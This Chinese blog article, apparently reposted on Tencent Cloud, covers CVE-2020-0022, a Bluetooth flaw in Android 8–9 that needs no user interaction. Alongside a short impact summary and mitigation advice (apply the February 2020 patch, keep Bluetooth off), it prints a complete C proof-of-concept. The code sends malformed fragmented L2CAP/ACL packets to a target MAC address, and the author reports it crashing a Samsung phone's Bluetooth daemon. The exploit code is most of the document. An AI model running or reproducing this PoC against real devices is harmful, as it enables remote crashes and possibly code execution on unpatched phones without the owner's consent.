前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安卓蓝牙非交互漏洞POC还是来了(CVE-2020-0022)

安卓蓝牙非交互漏洞POC还是来了(CVE-2020-0022)

作者头像
洛米唯熊
发布2020-02-25 16:36:09
2.3K0
发布2020-02-25 16:36:09
举报
文章被收录于专栏:洛米唯熊

0x00:概要

2019年11月3日,ERNW研究人员向谷歌安卓团队报告了一个影响安卓系统蓝牙组件的关键漏洞.该漏洞CVE编号为CVE-2020-0022,在本月发布的安全补丁中已经修复了该安全漏洞.

0x01:漏洞影响

在安卓8.0到9.0系统中,在蓝牙开启的情况下,远程攻击者在一定距离范围内可以以蓝牙守护程序的权限静默执行任意代码。整个过程无需用户交互,只需要知道目标设备的蓝牙MAC地址就可以了。而对一些设备,蓝牙的MAC地址可以通过WiFi MAC地址推算出来。该漏洞可能引发个人数据被窃,或用于传播恶意软件(短距离蠕虫)。

  • 在安卓10系统中,该漏洞无法被利用,但可能会引发蓝牙守护进程奔溃。
  • 低于安卓8.0的版本中也受到该漏洞的影响,但研究人员没有评估该影响。
  • 研究人员强烈建议用户安装官方2月份发布的补丁。如果无法安装补丁或设备不再支持,可以尝试一些通用的方法:
  • 非必需情况下不开启蓝牙。需要注意的是大多数蓝牙耳机都支持有线模拟音频。
  • 设置设备蓝牙为不可见。只有当在蓝牙扫描菜单中设置后设备才是可见的。但一些老版本的手机可能设置的是一直可见。

0x02:测试案例

代码语言:javascript
复制
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/uio.h>


int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length,uint16_t, uint16_t);

int main(int argc,char **argv) {
    bdaddr_t dst_addr;
    if (argc != 2){
      printf("usage: ./poc MAC_ADDR");
    }
    str2ba(argv[1], &dst_addr);
    struct hci_dev_info di;

    // Get HCI Socket
    printf("\nCreating HCI socket...\n");
    int hci_device_id = hci_get_route(NULL);
    int hci_socket = hci_open_dev(hci_device_id);
    if(hci_devinfo(hci_device_id,&di)< 0){
      perror("devinfo");
  exit(1);
    }
    uint16_t hci_handle;
    // -------- L2CAP Socket --------
    // local addr
    struct l2cap_conninfo l2_conninfo;
    int l2_sock;
    struct sockaddr_l2 laddr, raddr;
    laddr.l2_family = AF_BLUETOOTH;
    laddr.l2_bdaddr = di.bdaddr;
    laddr.l2_psm = htobs(0x1001);
    laddr.l2_cid = htobs(0x0040);

    // remote addr
    memset(&raddr, 0, sizeof(raddr));
    raddr.l2_family = AF_BLUETOOTH;
    raddr.l2_bdaddr = dst_addr;

    // create socket 
    printf("\nCreating l2cap socket...\n");
    if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0){
      perror("create l2cap socket");
  exit(1);
    }
    // bind and connect
    bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr));
    if(connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr))<0){
      perror("connect");
  exit(1);
    }
    socklen_t l2_conninfolen = sizeof(l2_conninfo);
    getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen);
    hci_handle = l2_conninfo.hci_handle;
    printf("fuck%d", hci_handle);

    // -------- L2CAP Socket --------

    // HCI Connect
    printf("\nCreating a HCI BLE connection...\n");
    printf("\nPrepare to send packet\n");
    uint16_t datalen = 30;
    uint16_t _bs_l2cap_len = htobs(datalen + 4);
    uint16_t _bs_cid = htobs(0x0001);
    uint8_t packet[4 + L2CAP_CMD_HDR_SIZE + datalen + 11];
    memcpy(&packet[0],&_bs_l2cap_len,2);
    memcpy(&packet[2],&_bs_cid,2);
    l2cap_cmd_hdr* cmd = (l2cap_cmd_hdr*) (packet+ 4);
    cmd->code = L2CAP_ECHO_REQ;
    cmd->ident = 0x01;
    cmd->len = htobs(datalen);
    memset(&packet[8], 0x99, datalen+11);
    printf("\nSending first packet\n");
    int i =0 ;
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 8 + 4 ,0x0, 8 + 4 ); 
    i+=4;
    printf("\nSending second packet\n");
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 12,0x1,12);
    i+=12;
    printf("\nSending third packet\n");
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 12,0x1,12); 
    i+=12;
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 11,0x1,11);


    printf("\nClosing HCI socket...\n");
    close(hci_socket);
    printf("\nClosing l2cap socket...\n");
    close(l2_sock);
    return 0;
}

int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length, uint16_t PBflag, uint16_t dlen){
    uint8_t type = HCI_ACLDATA_PKT;
    uint16_t BCflag = 0x0000;               // Broadcast flag
    //uint16_t PBflag = 0x0002;               // Packet Boundary flag
    uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;       
    hci_acl_hdr hd;
    hd.handle = htobs(acl_handle_pack(hci_handle, flags));  
    //hd.dlen = (data_length);
    hd.dlen = dlen;
    struct iovec iv[3];
    int ivn = 3;

    iv[0].iov_base = &type;                 // Type of operation
    iv[0].iov_len = 1;                      // Size of ACL operation flag
    iv[1].iov_base = &hd;                   // Handle info + flags
    iv[1].iov_len = HCI_ACL_HDR_SIZE;       // L2CAP header length + data length
    iv[2].iov_base = data;                  // L2CAP header + data
    iv[2].iov_len = (data_length);          // L2CAP header length + data length

    while (writev(hci_socket, iv, ivn) < 0) {
        if (errno == EAGAIN || errno == EINTR)
            continue;
  perror("writev");
        return -1;
    }
    return 0;
}

测试代码为在树莓派3B作为攻击者且三星s9 plus hk(Android 9)作为受害者的情况下进行了测试

大约尝试3-7次,蓝牙proc将崩溃并重新启动

本次测试代码代表着POC还是来了

代码来源

代码语言:javascript
复制
https://gist.github.com/leommxj/c9ba42e54faa9629cff5db3b4daeccef

0x03:预防

一、Android的安全补丁链接,其中一句话解决问题,检查并更新您的Android版本

https://source.android.com/security/bulletin/2020-02-01.html

二、没事把蓝牙关闭,用时再开。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-02-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档